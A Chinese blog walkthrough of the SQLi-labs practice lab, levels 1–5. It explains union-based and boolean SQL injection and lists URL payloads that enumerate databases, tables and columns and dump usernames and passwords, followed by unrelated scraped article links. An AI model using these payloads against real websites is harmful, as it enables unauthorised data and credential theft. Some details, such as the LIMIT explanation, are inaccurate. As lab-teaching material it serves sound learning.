大多情况下:SQL注入其实就是构造正确的mysql命令,让网页回显本不应该让我们看到的数据(如用户的账号和密码)。

第一关-联合查询注入
  • 查库

// 查看当前页面在的数据库

?id=-1' union select 1,2,database();--+
//一个一个的查
?id=-1' union select 1,2, schema_name from information_schema.schemata limit 1,1; --+
//查看所有数据库
?id=-1' union select 1,2, group_concat(schema_name) from information_schema.schemata; --+
  • 查表

//一个一个的查
?id=-1' union select 1,2, table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1; --+
//查所有表
?id=-1' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479; --+
  • 查字段

//一个一个的查
?id=-1' union select 1,2, column_name from information_schema.columns where table_name=0x7573657273 limit 1,1;--+
//查所有字段
?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_name=0x7573657273;--+
  • 查值

//一个一个的查
?id=-1' union select 1,username,password from security.users limit 1,1;--+
//查所有值
?id=-1' union select 1,2, group_concat( concat_ws(0x7e,username,password) ) from security.users ;--+
√ 解析
  • 原理

    当我们传入参数id=1时,其实在后台执行的代码是

    SELECT * FROM users WHERE id='1' LIMIT 0,1;

    以查库为例,在mysql中我们要想知道当前我们所处的数据库名称会用database()函数,数据库会返回当前所在库名

    那么我们怎么让网页返回的值是我们想要其他的的值呢?

    显然我们要在输入1的位置做文章

    ?id=1'--+ (其中的单引号‘ ' ’用来闭合id,--+注释符把后面的命令注释掉)

    这样可以执行成功,此时后台执行的代码是

    SELECT * FROM users WHERE id='1';--+' LIMIT 0,1;

    --+后面的语句被注释已失效,显然SELECT * FROM users WHERE id='1';是一条完整且正确的命令

  • 开始构造

    我们采用联合查询语句继续构造

    输入

    ?id=-1' union select 1,2,database();--+

    显然数据的id是从1开始编写的,id=-1肯定不存在,默认返回‘执行后面的命令获得的数据’

    此时后台执行

    SELECT * FROM users WHERE id='-1' union select 1,2,database();--+' LIMIT 0,1;

    显然SELECT * FROM users WHERE id='-1' union select 1,2,database();是一条完整且正确的命令

    但是当我们注入某个网站时,用户的账号密码不一定就在‘网页当前所在数据库’里啊。其他的数据库名字我又不知道在怎么办?

    查!

    同样的我们构造

    ?id=-1' union select 1,2, schema_name from information_schema.schemata limit 1,1; --+ //一个一个的查

    这是一条通用命令,即查询数据库中所有库的名字

    limit 1,1表示从第一条数据开始数,下一条数据

    当然也可以

    limit 1,2 第三条数据

    limit 1,3 第四条数据

    ...

    从而遍历出所有数据

  • 什么?太麻烦了

    我们可以用grup_concat()一次查出所有数据,显然limit 1,1就没用了--> 扔掉!

    用法:把查的内容用函数包裹即可

    ?id=-1' union select 1,2, group_concat(schema_name) from information_schema.schemata; --+

    接着,同样的道理

    查表

    查字段

    (略)...

第二关-联合查询注入

id的闭合方式变为


id= 1
第三关-联合查询注入

id的闭合方式变为



id= (' 1 ')        

第四关-联合查询注入

id的闭合方式变为


id= (" 1 ")
第五关-BOOL型注入
  • 方法一


?id = 1 ' and left( ( database() ), 1 ) = 'a' ;--+

database() 部分换做

查库

select schema_name from information_schema.schemata limit 1,1

查表

select table_name from information_schema.tables limit 1,1

查字段

select table_name from information_schema.columns limit 1,1

查数据

select password from security.users limit 1,1

  • 方法二

Sqli-labs-master通关解析(持续更新中。。。)的更多相关文章

  1. 史上最全的spark面试题——持续更新中

    史上最全的spark面试题——持续更新中 2018年09月09日 16:34:10 为了九亿少女的期待 阅读数 13696更多 分类专栏: Spark 面试题   版权声明:本文为博主原创文章,遵循C ...

  2. git常用命令(持续更新中)

    git常用命令(持续更新中) 本地仓库操作git int                                 初始化本地仓库git add .                       ...

  3. java视频教程 Java自学视频整理(持续更新中...)

    视频教程,马士兵java视频教程,java视频 1.Java基础视频 <张孝祥JAVA视频教程>完整版[RMVB](东西网) 历经5年锤炼(史上最适合初学者入门的Java基础视频)(传智播 ...

  4. 《WCF技术剖析》博文系列汇总[持续更新中]

    原文:<WCF技术剖析>博文系列汇总[持续更新中] 近半年以来,一直忙于我的第一本WCF专著<WCF技术剖析(卷1)>的写作,一直无暇管理自己的Blog.在<WCF技术剖 ...

  5. HBase常见问题答疑解惑【持续更新中】

    HBase常见问题答疑解惑[持续更新中] 本文对HBase开发及使用过程中遇到过的常见问题进行梳理总结,希望能解答新加入的HBaser们的一些疑惑. 1. HTable线程安全吗? HTable不是线 ...

  6. 【github&&git】4、git常用命令(持续更新中)

    git常用命令(持续更新中) 本地仓库操作git int                                 初始化本地仓库git add .                       ...

  7. Flume的一些报错问题解决(持续更新中)

    严谨转载--否则追究法律责任 作者----王加鸿                                                   ----------bug 1---------- ...

  8. fastadmin 后台管理框架使用技巧(持续更新中)

    fastadmin 后台管理框架使用技巧(持续更新中) FastAdmin是一款基于ThinkPHP5+Bootstrap的极速后台开发框架,具体介绍,请查看文档,文档地址为:https://doc. ...

  9. 前端面试题总结——HTML(持续更新中)

    前端面试题总结--HTML(持续更新中) 1.什么是HTML? HTML:HyperText Markup Language超文本标记语言 2.XHTML和HTML有什么区别 HTML是一种基本的WE ...

  10. 2020年腾讯实习生C++面试题&持续更新中(5)

    2020年腾讯实习生C++面试题&持续更新中(5) 大家好呀,我是好好学习天天编程的天天~ 昨天一位小伙伴反馈已经拿到了腾讯offer,很是替小伙伴的激动~ 那今天还是持续给大家分享面经,希望 ...

随机推荐

  1. 我成为 Microsofti Azure MVP 啦!(ps:不是美国职业篮球)

    一,引言 今天是个高兴的日子,早上10点左右收到了来自微软的MVP的礼包的快递,对我来说,这是一件很值得纪念的日子.所以今天就水一篇心得感想吧!!! 我是年前2月9号开始申请MVP的,经历了差不多1个 ...

  2. windows2003安装php ,mysql,fastgui

    在上一章中,windows2003的iis搭建已经完成,但是我们现在用的多的也包含php,该如何让Windows2003成功使用php文件呢? windows2003需要先行安装vc9运行库才能与fa ...

  3. PAT A1032 Sharing

    题意:给出两条链表的首地址以及若干节点的地址,数据,下一个节点的地址,求两条链表的首个共用节点的地址.如果两条链表没有共用节点,则输出-1.思路步骤1:由于地址的范围很小,因此可以直接用静态链表,但是 ...

  4. 本地+分布式Hadoop完整搭建过程

    1 概述 Hadoop在大数据技术体系中极为重要,被誉为是改变世界的7个Java项目之一(剩下6个是Junit.Eclipse.Spring.Solr.HudsonAndJenkins.Android ...

  5. JAVAEE_Servlet_23_路径编写总结和url_pattern的编写方式

    路径编写总结和url_pattern的编写方式 路径的编写 超链接 form表单的action属性 重定向 response.sendRedirect("/项目名/资源路径"): ...

  6. 一致性哈希做负载均衡,基于dubbo的简化版本,超级简单容易理解!!!

    一致性哈希算法原理以及做分布式存储.一定先看:一致性哈希算法 dubbo提供了四种负载均衡实现:权重随机算法,最少活跃调用数算法,一致性哈希算法,加权轮询算法. 本文基于开源项目:guide-rpc- ...

  7. Django 视图(View)

    1. 视图简介 2. URLconf 1)关联各应用下的 URLconf 2)URLconf 的编写 3)namespace 反向解析 3. 视图函数&错误视图 4. HttpRequest ...

  8. 【项目管理】关于Issue/Milestone的使用指导

    b[red] { color: rgba(255, 0, 0, 1) } 前言 本指导内容主要基于: 和邹欣老师的语音交流结论 邹欣老师<构建之法>的相关章节内容 现有开源项目在类似情况下 ...

  9. 1148 Werewolf - Simple Version

    Werewolf(狼人杀) is a game in which the players are partitioned into two parties: the werewolves and th ...

  10. 微信小程序中的自定义组件

    微信小程序中的组件 前言 之前做小程序开发的时候,对于开发来说比较头疼的莫过于自定义组件了,当时官方对这方面的文档也只是寥寥几句,一笔带过而已,所以写起来真的是非常非常痛苦!! 好在微信小程序的库从 ...